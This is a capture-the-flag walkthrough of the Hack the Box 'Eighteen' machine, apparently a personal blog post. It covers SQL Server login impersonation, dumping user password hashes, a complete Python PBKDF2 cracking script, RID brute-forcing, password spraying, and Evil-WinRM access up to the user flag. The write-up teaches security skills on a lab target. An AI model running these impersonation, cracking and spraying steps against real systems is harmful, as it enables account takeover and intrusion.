Eighteen Hack the Box Walkthrough

Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the Eighteen machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.

You can also test and grow your penetration testing skills, from gathering information to reporting. If you are new to this blog, please do not forget to like, comment and subscribe to my YouTube channel and follow me on LinkedIn for more updates.

About the Machine

Eighteen is an easy Windows Machine on Hack the Box

The first step in owning the Eighteen machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn eighteen.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Eighteen machine and I was assigned an IP address (10.10.11.95).

One the machine information, two credentials were provided: kevin / iNa2we6haRj2gaw!

Nmap Enumeration

I began the initial enumeration phase with an aggressive Nmap scan to identify open ports and running services on the target:

nmap -sCV -A 10.10.11.95

The Nmap scan result revealed:

Port 80 – Microsoft IIS 10.0

The web server on port 80 immediately revealed that it’s running Microsoft IIS/10.0, consistent with a modern Windows Server environment. Interestingly, the HTTP title shows that the server attempts to redirect us to http://eighteen.htb/, which suggests virtual hosting and gives us a domain name to add to our /etc/hosts. This is usually an early hint in HTB machines that the real web content sits behind a vhost.

Port 1433 – Microsoft SQL Server 2022

Port 1433 is wide open, exposing a Microsoft SQL Server 2022 (16.00.1000.00 RTM) instance. Nmap’s ms-sql-* scripts leak quite a bit of Active Directory metadata:

1. Domain: EIGHTEEN
2. Hostname: DC01
3. FQDN: DC01.eighteen.htb

The fact that the machine names itself DC01 strongly suggests we’re enumerating a domain controller - rare on “easy” boxes and always a sign that Active Directory abuse will soon become part of the attack chain.

Even better, SQL Server is often misconfigured on HTB labs, especially when combined with NTLM authentication, making this port a very strong foothold candidate.

Nmap also pulls the SSL certificate from SQL Server, and the Common Name is just a generic “SSL_Self_Signed_Fallback”, typical for default SQL Server setups.

Port 5985 – WinRM (HTTP)

Seeing port 5985 open confirms that WinRM is enabled. This is the default management interface for remote PowerShell execution over HTTP. If I can get a valid domain credentials later, this port will likely become my method for gaining a shell.

Mapping IP Address to Domain Name

After discovering the domain DC01.eighteen.htb and been assigned IP Address 10.10.11.95, I decided to map the target machine IP address to the domain name. This way, I could access the service by name instead of by IP address by running:

echo "10.10.11.95 eighteen.htb DC01.eighteen.htb" | sudo tee -a /etc/hosts

With SQL Server exposed on port 1433 from the Nmap scan, my next move was to test whether the kevin credentials I provided in the machine information would actually authenticate. Using Impacket’s mssqlclient, I connected to the database service:

impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@10.10.11.95

SQL Server immediately required TLS, then dropped me into an interactive console. The login succeeded - already a promising sign.

Enumerating SQL Server Permissions

Once inside, I began checking what privileges the kevin account actually had. Running enum_impersonate revealed a critical misconfiguration:

IMPERSONATE LOGIN on: appdev

This means Kevin is allowed to impersonate another SQL login, specifically appdev. On a domain controller hosting SQL Server, that’s a gold mine - SQL impersonation often leads to privilege escalation or access to sensitive databases.

I switched context using:

EXECUTE AS LOGIN = 'appdev';

Now operating as appdev, I proceeded to enumerate the databases and noticed one that stood out: financial_planner.

Exploring the Financial Planner Database

I changed into the database:

USE financial_planner;

Querying the table list immediately exposed several application-related tables:

• users
• incomes
• expenses
• allocations
• analytics
• visits

The users table was the obvious target. Inspecting its schema confirmed it contained credential-related fields:

• username
• email
• password_hash
• is_admin

Exactly what I needed.

Next, I queried the database financial_planner and it listed the column names and data types:

SELECT COLUMN_NAME, DATA_TYPE FROM financial_planner.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users';

Dumping User Credentials

Finally, I pulled the user data:

SELECT username, email, password_hash FROM financial_planner.dbo.users;

The dump returned two users:

username	email	password_hash
admin	{{ 7*7 }}	pbkdf2:sha256:600000$…
boltech	boltech@gmail.com	pbkdf2:sha256:600000$…

The application stores passwords using PBKDF2-HMAC-SHA256 with 600,000 iterations - secure, but not invulnerable if the passphrase is weak. The admin email field being set to {{ 7*7 }} is a curious template artifact, possibly hinting at server-side rendering vulnerabilities.

Hashcat doesn’t support PBKDF2-SHA256 in this exact format out-of-the-box, so I built a small custom Python cracker to brute-force it with a wordlist.

First, I extracted the admin hash from the database and dropped it into a file named hash.txt for reference. Next, I created a script called hash-cracker.py and implemented PBKDF2 manually using Python’s built-in hashlib module.

The script breaks down like this:

#!/usr/bin/env python3 import hashlib from multiprocessing import Pool, cpu_count def check_password(password): try: computed = hashlib.pbkdf2_hmac( 'sha256', password, SALT.encode(), ITERATIONS ) if computed.hex() == TARGET_HASH: return password.decode(errors="ignore") except: pass return None # ---- Hash components ---- SALT = "AMtzteQIG7yAbZIa" ITERATIONS = 600000 TARGET_HASH = "0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133" # ---- Your wordlist path ---- WORDLIST = "/usr/share/wordlists/rockyou.txt" def main(): print(f"[+] Using wordlist: {WORDLIST}") print("[+] Starting PBKDF2-SHA256 cracking...") with open(WORDLIST, "rb") as f: passwords = (line.strip() for line in f) with Pool(cpu_count()) as pool: for result in pool.imap_unordered(check_password, passwords, chunksize=500): if result: print(f"[+] PASSWORD FOUND: {result}") pool.terminate() return print("[-] No match found.") if __name__ == "__main__": main()

Inside the script, I pasted the admin hash and made sure the path of my wordlist is correct. Next I ran the hash-cracker.py file with Python by running:

The admin password turned out to be “iloveyou1” - a painfully weak choice for an application password running on a domain controller. With valid credentials now in hand, I had everything I needed to pivot back into the environment and escalate the compromise even further.

Before moving forward, I wanted to verify exactly where the compromised credentials from SQL could take me inside the domain. Since the SQL service was running on a domain controller, I decided to use NetExec (nxc) to probe the MSSQL service with the kevin credentials:

nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth

NetExec successfully authenticated, confirming the account was valid on the host:

[+] DC01\kevin:iNa2we6haRj2gaw!

Once authenticated, I enabled --rid-brute to enumerate domain users and groups by brute-forcing RID values. Since this SQL Server is actually installed on the domain controller DC01, I immediately started receiving a full dump of Active Directory objects.

• The enumeration returned a complete picture of the domain:Core AD service accounts like Administrator, Guest, krbtgt
• Privileged groups including: Domain Admins (512), Enterprise Admins (519), Schema Admins (518), Group Policy Creator Owners (520)
• Domain-level buckets like Domain Users, Domain Controllers, Domain Computers
• Various administrative and service groups (DNSAdmins, RODC groups, Key Admins)
• A long list of individual user accounts: jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, etc.

This enumeration confirmed two important things:

1. The machine I’m interacting with is the actual domain controller, not just a member server hosting SQL.

2. Kevin is a real domain user, and his credentials provide at least enough access to enumerate the entire Active Directory structure.

Now that I had cracked the admin password (iloveyou1), the next step was figuring out which domain user - if any - was reusing that same password. Since the SQL database had exposed a full list of employee usernames, I compiled the likely candidates into a simple users.txt file:

nano users.txt

jamie.dunn jane.smith alice.jones adam.scott bob.brown carol.white dave.green

With the list ready, I used CrackMapExec (CME) to spray the recovered password against WinRM (port 5985):

crackmapexec winrm 10.10.11.95 -u users.txt -p 'iloveyou1'

CME initialized itself on first run and began checking each user. Most attempts failed as expected - but then one line stood out:

WINRM 10.10.11.95 5985 NONE [+] None\adam.scott:iloveyou1 (Pwn3d!)

Bingo.

The output confirmed that adam.scott was reusing the same weak password found in the SQL database. Even better, CME flagged it with the “Pwn3d!” indicator, meaning WinRM authentication succeeded and remote command execution was now possible.

The follow-up error ('NoneType' object has no attribute 'upper') is just a harmless CME bug - it doesn’t affect the result. The important part is clear: I now had valid WinRM access as a real domain user on the domain controller itself.

This was the foothold I needed to pivot from database compromise to full Windows host access - and potentially escalate even further.

Pivoting into the Windows Machine

With valid credentials for adam.scott in hand, the next step was to actually pivot onto the Windows machine. Since CME confirmed WinRM was open and accepting logins, I fired up Evil-WinRM - the go-to post-exploitation shell for Windows targets:

evil-winrm -u adam.scott -p 'iloveyou1' -i 10.10.11.95

After a moment, Evil-WinRM initialized and dropped me into a PowerShell session. A minor warning about Ruby’s path completion popped up (a common harmless quirk), but the important part was clear:

I now had an interactive shell on the target as adam.scott.

Once inside, I navigated to the user’s desktop - always the first place to check for flags on HackTheBox Windows machines:

cd .. cd Desktop dir

The directory listing confirmed exactly what I was hoping to find:

-ar--- ... user.txt

With the foothold secured, I read the user flag:

type user.txt

Hurray!!! The User flag was captured.

Now that I had a stable shell and user-level access, it was time to begin enumerating the system for privilege escalation paths to go after the root flag.

v

w

x

y

z

To be continued tomorrow, off to bed 🛌🥱😴💤